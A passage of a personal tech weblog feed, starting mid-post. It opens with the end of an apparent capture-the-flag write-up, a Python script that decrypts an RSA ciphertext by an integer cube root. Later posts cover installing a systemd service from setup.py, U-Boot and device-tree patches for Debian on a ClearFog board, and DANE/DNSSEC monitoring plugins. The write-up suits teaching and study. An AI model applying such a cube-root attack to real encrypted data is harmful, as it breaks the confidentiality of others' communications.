<code>long_to_bytes</code> to the solution. Note that we're talking about <code>OTP</code>
and <code>C</code> here. The code actually produced two <code>OTP</code> and <code>C</code> values but
you can use either one just fine.</p>
<pre><code><span class="synComment">#!/usr/bin/python3</span>
<span class="synPreProc">import</span> sys
<span class="synPreProc">from</span> util <span class="synPreProc">import</span> bytes_to_long
<span class="synPreProc">from</span> gmpy2 <span class="synPreProc">import</span> iroot
PREFIX = b<span class="synConstant">'*************** Welcome, dear customer, the secret passphrase for today is: '</span>
OTPbase = bytes_to_long(PREFIX + b<span class="synConstant">'</span><span class="synSpecial">\x00</span><span class="synConstant">'</span> * <span class="synConstant">18</span>)
N = <span class="synConstant">27990886688403106156886965929373472780889297823794580465068327683395428917362065615739951108259750066435069668684573174325731274170995250924795407965212988361462373732974161447634230854196410219114860784487233470335168426228481911440564783725621653286383831270780196463991259147093068328414348781344702123357674899863389442417020336086993549312395661361400479571900883022046732515264355119081391467082453786314312161949246102368333523674765325492285740191982756488086280405915565444751334123879989607088707099191056578977164106743480580290273650405587226976754077483115441525080890390557890622557458363028198676980513</span>
WRAPPINGS = (OTPbase ** <span class="synConstant">3</span>) // N
C = <span class="synConstant">13094996712007124344470117620331768168185106904388859938604066108465461324834973803666594501350900379061600358157727804618756203188081640756273094533547432660678049428176040512041763322083599542634138737945137753879630587019478835634179440093707008313841275705670232461560481682247853853414820158909864021171009368832781090330881410994954019971742796971725232022238997115648269445491368963695366241477101714073751712571563044945769609486276590337268791325927670563621008906770405196742606813034486998852494456372962791608053890663313231907163444106882221102735242733933067370757085585830451536661157788688695854436646</span>
x = N * WRAPPINGS + C
val, _ = iroot(x, <span class="synConstant">3</span>)
bstr = <span class="synConstant">"%x"</span> % <span class="synIdentifier">int</span>(val)
<span class="synStatement">for</span> i <span class="synStatement">in</span> <span class="synIdentifier">range</span>(<span class="synConstant">0</span>, <span class="synIdentifier">len</span>(bstr) // <span class="synConstant">2</span>):
sys.stdout.write(<span class="synIdentifier">chr</span>(<span class="synIdentifier">int</span>(bstr[<span class="synConstant">2</span>*i:<span class="synConstant">2</span>*i+<span class="synConstant">2</span>], <span class="synConstant">16</span>)))
<span class="synIdentifier">print</span>()
</code></pre>
-
Installing a python systemd service?
https://weblog.christoph-egger.org/Installing_a_python_systemd_service_.html
https://weblog.christoph-egger.org/Installing_a_python_systemd_service_.html
Wed, 26 Oct 2016 13:16:26 +0200
<p>As web search engines and IRC seems to be of no help, maybe someone
here has a helpful idea. I have some service written in python that
comes with a .service file for systemd. I now want to build&install a
working service file from the software's setup.py. I <em>can</em> override
the build/build_py commands of setuptools, however that way I still
lack knowledge wrt. the bindir/prefix where my service script will be
installed.</p>
<h3>Solution</h3>
<p>Turns out, if you override the <code>install</code> command (not the
<code>install_data</code>!), you will have <code>self.root</code> and <code>self.install_scripts</code>
(and lots of other <code>self.install_*</code>). As a result, you can read the
template and write the desired output file <em>after</em> calling <code>super</code>'s
<code>run</code> method. The fix was inspired by <a href="https://github.com/liftoff/GateOne/blob/master/setup.py">GateOne</a> (which, however
doesn't get the <code>--root</code> parameter right, you need to strip
<code>self.root</code> from the beginning of the path to actually make that work
as intended).</p>
<p>As suggested on IRC, the snippet (and my software) no use <code>pkg-config</code>
to get at the systemd path as well. This is a nice improvement
orthogonal to the original problem. The implementation here follows
<a href="https://github.com/evgeni/bley/blob/master/setup.py#L14">bley</a>.</p>
<pre><code>
<span class="synStatement">def</span> <span class="synIdentifier">systemd_unit_path</span>():
<span class="synStatement">try</span>:
command = [<span class="synConstant">"pkg-config"</span>, <span class="synConstant">"--variable=systemdsystemunitdir"</span>, <span class="synConstant">"systemd"</span>]
path = subprocess.check_output(command, stderr=subprocess.STDOUT)
<span class="synStatement">return</span> path.decode().replace(<span class="synConstant">'</span><span class="synSpecial">\n</span><span class="synConstant">'</span>, <span class="synConstant">''</span>)
<span class="synStatement">except</span> (subprocess.CalledProcessError, <span class="synType">OSError</span>):
<span class="synStatement">return</span> <span class="synConstant">"/lib/systemd/system"</span>
<span class="synStatement">class</span> <span class="synIdentifier">my_install</span>(install):
_servicefiles = [
<span class="synConstant">'foo/bar.service'</span>,
]
<span class="synStatement">def</span> <span class="synIdentifier">run</span>(self):
install.run(self)
<span class="synStatement">if</span> <span class="synStatement">not</span> self.dry_run:
bindir = self.install_scripts
<span class="synStatement">if</span> bindir.startswith(self.root):
bindir = bindir[<span class="synIdentifier">len</span>(self.root):]
systemddir = <span class="synConstant">"%s%s"</span> % (self.root, systemd_unit_path())
<span class="synStatement">for</span> servicefile <span class="synStatement">in</span> self._servicefiles:
service = os.path.split(servicefile)[<span class="synConstant">1</span>]
self.announce(<span class="synConstant">"Creating %s"</span> % os.path.join(systemddir, service),
level=<span class="synConstant">2</span>)
<span class="synStatement">with</span> <span class="synIdentifier">open</span>(servicefile) <span class="synStatement">as</span> servicefd:
servicedata = servicefd.read()
<span class="synStatement">with</span> <span class="synIdentifier">open</span>(os.path.join(systemddir, service), <span class="synConstant">"w"</span>) <span class="synStatement">as</span> servicefd:
servicefd.write(servicedata.replace(<span class="synConstant">"%BINDIR%"</span>, bindir))
</code></pre>
<p>Comments, suggestions and improvements, of course, welcome!</p>
-
Running Debian on the ClearFog
https://weblog.christoph-egger.org/Running_Debian_on_the_ClearFog.html
https://weblog.christoph-egger.org/Running_Debian_on_the_ClearFog.html
Sat, 22 Oct 2016 12:37:44 +0200
<p>Back in August, I was looking for a
<a href="https://weblog.siccegge.de/Looking_for_a_replacement_Homeserver.html">Homeserver replacement</a>. During <a href="https://www.froscon.de/startseite/">FrOSCon</a> I was then reminded
of the <a href="https://omnia.turris.cz/en/">Turris Omnia</a> project by NIC.cz. The basic SoC (Marvel
Armada 38x) seemed to be nice hand have decent mainline support (and,
with the turris, users interested in keeping it working). Only I don't
want any WIFI and I wasn't sure the standard case would be all that
usefully. Fortunately, there's also a simple board available with the
same SoC called <a href="https://wiki.solid-run.com/doku.php?id=products:a38x:clearfog">ClearFog</a> and so I got one of these (the Base
version). With shipping and the SSD (the only 2242 M.2 SSD with 250
GiB I could find, a ADATA SP600) it slightly exceeds the budget but
well.</p>
<p><center>
<img alt="ClearFog with SSD" src="/static/clearfog.jpg" width="50%" />
</center></p>
<p>When installing the machine, the obvious goal was to use mainline FOSS
components only if possible. Fortunately there's mainline kernel
support for the device as well as mainline <a href="https://www.denx.de/wiki/U-Boot/WebHome">U-Boot</a>. First attempts
to boot from a micro SD card did not work out at all, both with
mainline U-Boot and the vendor version though. Turns out the eMMC
version of the board does not support any micro SD cards at all, a
fact that is documented but <a href="https://wtarreau.blogspot.de/2016/09/installing-linux-on-solidrun.html">others</a> failed to notice as well.</p>
<h3>U-Boot</h3>
<p>As the board does not come with any loader on eMMC and booting
directly from M.2 requires removing some resistors from the board, the
easiest way is using UART for booting. The vendor wiki has some shell
script wrapping an included C fragment to feed U-Boot to the device
but all that is really needed is U-Boot's <code>kwboot</code> utility. For some
reason the SPL didn't properly detect UART booting on my device (wrong
magic number) but patching the <code>if</code> (in arch-mvebu's spl.c) and always
assume UART boot is an easy way around.</p>
<p>The plan then was to boot a <a href="https://www.debian.org/">Debian</a> armhf rootfs with a
<code>defconfig</code> kernel from USB stick. and install U-Boot and the rootfs
to eMMC from within that system. Unfortunately U-Boot seems to be
unable to talk to the USB3 port so no kernel loading from there. One
could probably make UART loading work but switching between screen for
serial console and xmodem seemed somewhat fragile and I never got it
working. However ethernet can be made to work, though you need to set
<code>eth1addr</code> to <code>eth3addr</code> (or just the <em>right</em> one of these) in U-Boot,
<code>saveenv</code> <em>and reboot</em>. After that TFTP works (but is somewhat slow).</p>
<h3>eMMC</h3>
<p>There's one last step required to allow U-Boot and Linux to access the
eMMC. eMMC is wired to the same PINs as the SD card would be. However
the SD card has an additional indicator pin showing whether a card is
present. You might be lucky inserting a dummy card into the slot or go
the clean route and remove the pin specification from the device tree.</p>
<pre><code><span class="synType">--- a/arch/arm/dts/armada-388-clearfog.dts</span>
<span class="synType">+++ b/arch/arm/dts/armada-388-clearfog.dts</span>
<span class="synStatement">@@ -306,7 +307,6 @@</span>
sdhci@d8000 {
bus-width = <4>;
<span class="synSpecial">- cd-gpios = <&gpio0 20 GPIO_ACTIVE_LOW>;</span>
no-1-8-v;
pinctrl-0 = <&clearfog_sdhci_pins
&clearfog_sdhci_cd_pins>;
</code></pre>
<p>Next Up is flashing the U-Boot to eMMC. This seems to
<a href="https://wtarreau.blogspot.de/2016/09/installing-linux-on-solidrun.html">work with the vendor U-Boot</a> but proves to be tricky with
mainline. The fun part boils down to the fact that the boot firmware
reads the <em>first</em> block from eMMC, but the <em>second</em> from SD card. If
you write the mainline U-Boot, which was written and tested for SD
card, to eMMC the SPL will try to load the main U-Boot starting from
it's second sector from flash -- obviously resulting in garbage. This
one took me several tries to figure out and made me read most of the
SPL code for the device. The fix however is trivial (apart from the
question on how to support all different variants from one codebase,
which I'll leave to the U-Boot developers):</p>
<pre><code><span class="synType">--- a/include/configs/clearfog.h</span>
<span class="synType">+++ b/include/configs/clearfog.h</span>
<span class="synStatement">@@ -143,8 +143,7 @@</span>
#define CONFIG_SPL_LIBDISK_SUPPORT
#define CONFIG_SYS_MMC_U_BOOT_OFFS (160 << 10)
#define CONFIG_SYS_U_BOOT_OFFS CONFIG_SYS_MMC_U_BOOT_OFFS
<span class="synSpecial">-#define CONFIG_SYS_MMCSD_RAW_MODE_U_BOOT_SECTOR ((CONFIG_SYS_U_BOOT_OFFS / 512)\</span>
<span class="synSpecial">- + 1)</span>
<span class="synIdentifier">+#define CONFIG_SYS_MMCSD_RAW_MODE_U_BOOT_SECTOR (CONFIG_SYS_U_BOOT_OFFS / 512)</span>
#define CONFIG_SYS_U_BOOT_MAX_SIZE_SECTORS ((512 << 10) / 512) /* 512KiB */
#ifdef CONFIG_SPL_BUILD
#define CONFIG_FIXED_SDHCI_ALIGNED_BUFFER 0x00180000 /* in SDRAM */
</code></pre>
<h3>Linux</h3>
<p>Now we have a System booting from eMMC with mainline U-Boot (which is
a most welcome speedup compared to the UART and TFTP combination from
the beginning). Getting to fine-tune linux on the device -- we want to
install the <code>armmp</code> Debian kernel and have it work. As all the drivers
are build as modules for that kernel this also means initrd
support. Funnily U-Boots <code>bootz</code> allows booting a plain <code>vmlinux</code>
kernel but I couldn't get it to boot a plain initrd. Passing a uImage
initrd and a normal kernel however works pretty well. Back when I
first tried there were some modules missing and ethernet didn't work
with the PHY driver built as a module. In the meantime the PHY problem
was fixed in the Debian kernel and almost all modules already
added. Ben then only added the USB3 module on my suggestion and as a
result, unstable's armhf <code>armmp</code> kernel should work perfectly well on
the device (you still need to patch the device tree similar to the
patch above). Still missing is an updated <code>flash-kernel</code> to
automatically generate the initrd uImage which is
<a href="https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=839595">work in progress</a> but got stalled until I fixed the U-Boot on eMMC
problem and everything should be fine -- maybe get debian u-boot
builds for that board.</p>
<h3>Pro versus Base</h3>
<p>The main difference so far between the Pro and the Base version of the
ClearFog is the switch chip which is included on the Pro. The Base
instead "just" has two gigabit ethernet ports and a SFP. Both, linux'
and U-Boot's device tree are intended for the Pro version which makes
on of the ethernet ports unusable (it tries to find the switch behind
the ethernet port which isn't there). To get both ports working (or
the one you settled on earlier) there's a second patch to the device
tree (my version might be sub-optimal but works), U-Boot -- the
linux-kernel version is a trivial adaption:</p>
<pre><code><span class="synType">--- a/arch/arm/dts/armada-388-clearfog.dts</span>
<span class="synType">+++ b/arch/arm/dts/armada-388-clearfog.dts</span>
<span class="synStatement">@@ -89,13 +89,10 @@</span>
internal-regs {
ethernet@30000 {
mac-address = [00 50 43 02 02 02];
<span class="synIdentifier">+ managed = "in-band-status";</span>
<span class="synIdentifier">+ phy = <&phy1>;</span>
phy-mode = "sgmii";
status = "okay";
<span class="synSpecial">-</span>
<span class="synSpecial">- fixed-link {</span>
<span class="synSpecial">- speed = <1000>;</span>
<span class="synSpecial">- full-duplex;</span>
<span class="synSpecial">- };</span>
};
ethernet@34000 {
<span class="synStatement">@@ -227,6 +224,10 @@</span>
pinctrl-0 = <&mdio_pins>;
pinctrl-names = "default";
<span class="synIdentifier">+ phy1: ethernet-phy@1 { /* Marvell 88E1512 */</span>
<span class="synIdentifier">+ reg = <1>;</span>
<span class="synIdentifier">+ };</span>
<span class="synIdentifier">+</span>
phy_dedicated: ethernet-phy@0 {
/*
* Annoyingly, the marvell phy driver
<span class="synStatement">@@ -386,62 +386,6 @@</span>
tx-fault-gpio = <&expander0 13 GPIO_ACTIVE_HIGH>;
};
<span class="synSpecial">- dsa@0 {</span>
<span class="synSpecial">- compatible = "marvell,dsa";</span>
<span class="synSpecial">- dsa,ethernet = <&eth1>;</span>
<span class="synSpecial">- dsa,mii-bus = <&mdio>;</span>
<span class="synSpecial">- pinctrl-0 = <&clearfog_dsa0_clk_pins &clearfog_dsa0_pins>;</span>
<span class="synSpecial">- pinctrl-names = "default";</span>
<span class="synSpecial">- #address-cells = <2>;</span>
<span class="synSpecial">- #size-cells = <0>;</span>
<span class="synSpecial">-</span>
<span class="synSpecial">- switch@0 {</span>
<span class="synSpecial">- #address-cells = <1>;</span>
<span class="synSpecial">- #size-cells = <0>;</span>
<span class="synSpecial">- reg = <4 0>;</span>
<span class="synSpecial">-</span>
<span class="synSpecial">- port@0 {</span>
<span class="synSpecial">- reg = <0>;</span>
<span class="synSpecial">- label = "lan1";</span>
<span class="synSpecial">- };</span>
<span class="synSpecial">-</span>
<span class="synSpecial">- port@1 {</span>
<span class="synSpecial">- reg = <1>;</span>
<span class="synSpecial">- label = "lan2";</span>
<span class="synSpecial">- };</span>
<span class="synSpecial">-</span>
<span class="synSpecial">- port@2 {</span>
<span class="synSpecial">- reg = <2>;</span>
<span class="synSpecial">- label = "lan3";</span>
<span class="synSpecial">- };</span>
<span class="synSpecial">-</span>
<span class="synSpecial">- port@3 {</span>
<span class="synSpecial">- reg = <3>;</span>
<span class="synSpecial">- label = "lan4";</span>
<span class="synSpecial">- };</span>
<span class="synSpecial">-</span>
<span class="synSpecial">- port@4 {</span>
<span class="synSpecial">- reg = <4>;</span>
<span class="synSpecial">- label = "lan5";</span>
<span class="synSpecial">- };</span>
<span class="synSpecial">-</span>
<span class="synSpecial">- port@5 {</span>
<span class="synSpecial">- reg = <5>;</span>
<span class="synSpecial">- label = "cpu";</span>
<span class="synSpecial">- };</span>
<span class="synSpecial">-</span>
<span class="synSpecial">- port@6 {</span>
<span class="synSpecial">- /* 88E1512 external phy */</span>
<span class="synSpecial">- reg = <6>;</span>
<span class="synSpecial">- label = "lan6";</span>
<span class="synSpecial">- fixed-link {</span>
<span class="synSpecial">- speed = <1000>;</span>
<span class="synSpecial">- full-duplex;</span>
<span class="synSpecial">- };</span>
<span class="synSpecial">- };</span>
<span class="synSpecial">- };</span>
<span class="synSpecial">- };</span>
<span class="synSpecial">-</span>
gpio-keys {
compatible = "gpio-keys";
pinctrl-0 = <&rear_button_pins>;
</code></pre>
<h3>Conclusion</h3>
<p>Apart from the mess with eMMC this seems to be a pretty nice
device. It's now happily running with a M.2 SSD providing enough
storage for now and still has a mSATA/mPCIe plug left for future
journeys. It seems to be drawing around 5.5 Watts with SSD and one
Ethernet connected while mostly idle and can feed around 500 Mb/s from
disk over an encrypted ethernet connection which is, I guess, not too
bad. My plans now include helping to finish <code>flash-kernel</code> support,
<a href="https://fablab.fau.de/">creating a nice case</a> and probably get it deployed. I might bring
it to <a href="https://fosdem.org/2017/">FOSDEM</a> first though.</p>
<p>Working on it was really quite some fun (apart from the frustrating
parts finding the one-block-offset ..) and people were really
helpful. Big thanks here to Debian's arm folks, Ben Hutchings the
kernel maintainer and U-Boot upstream (especially Tom Rini and Stefan
Roese)</p>
-
DANE and DNSSEC Monitoring
https://weblog.christoph-egger.org/DANE_and_DNSSEC_Monitoring.html
https://weblog.christoph-egger.org/DANE_and_DNSSEC_Monitoring.html
Tue, 30 Aug 2016 19:11:00 +0200
<p>At this year's <a href="https://www.froscon.de">FrOSCon</a> I repeted my
presentation on <a href="https://static.siccegge.de/talks/dnssec-FrOSCon-2016-08-21.pdf">DNSSEC</a>. In the audience, there was the suggestion
of a lack of proper monitoring plugins for a DANE and DNSSEC
infrastructure that was easily available. As I already had some
personal tools around and some spare time to burn I've just started a
repository with some useful tools. It's available on <a href="https://git.siccegge.de/?p=dane-monitoring-plugins.git">my website</a>
and has mirrors on <a href="https://gitlab.com/siccegge/dane-monitoring-plugins">Gitlab</a> and <a href="https://github.com/siccegge/dane-monitoring-plugins">Github</a>. I intent to keep this
repository up-to-date with my personal requirements (which also means
adding a xmpp check soon) and am happy to take any contributions
(either by mail or as "pull requests" on one of the two mirrors). It
currently has smtp (both ssmtp and starttls) and https support as well
as support for checking valid DNSSEC configuration of a zone.</p>
<p>While working on it it turned out some things can be complicated. My
language of choice was python3 (if only because the ssl library has
improved since 2.7 a lot), however ldns and unbound in Debian lack
python3 support in <a href="https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=835972">their</a> <a href="https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=784836">bindings</a>. This seems fixable as the
source in Debian is buildable and useable with python3 so it just
needs packaging adjustments. Funnily the ldns module, which is only
needed for <code>check_dnssec</code>, in debian is currently <a href="https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=835997">buggy</a> for
python2 and python3 and ldns' python3 support is somewhat <a href="https://open.nlnetlabs.nl/pipermail/ldns-users/2016-August/000847.html">lacking</a>
so I spent several hours hunting SWIG problems.</p>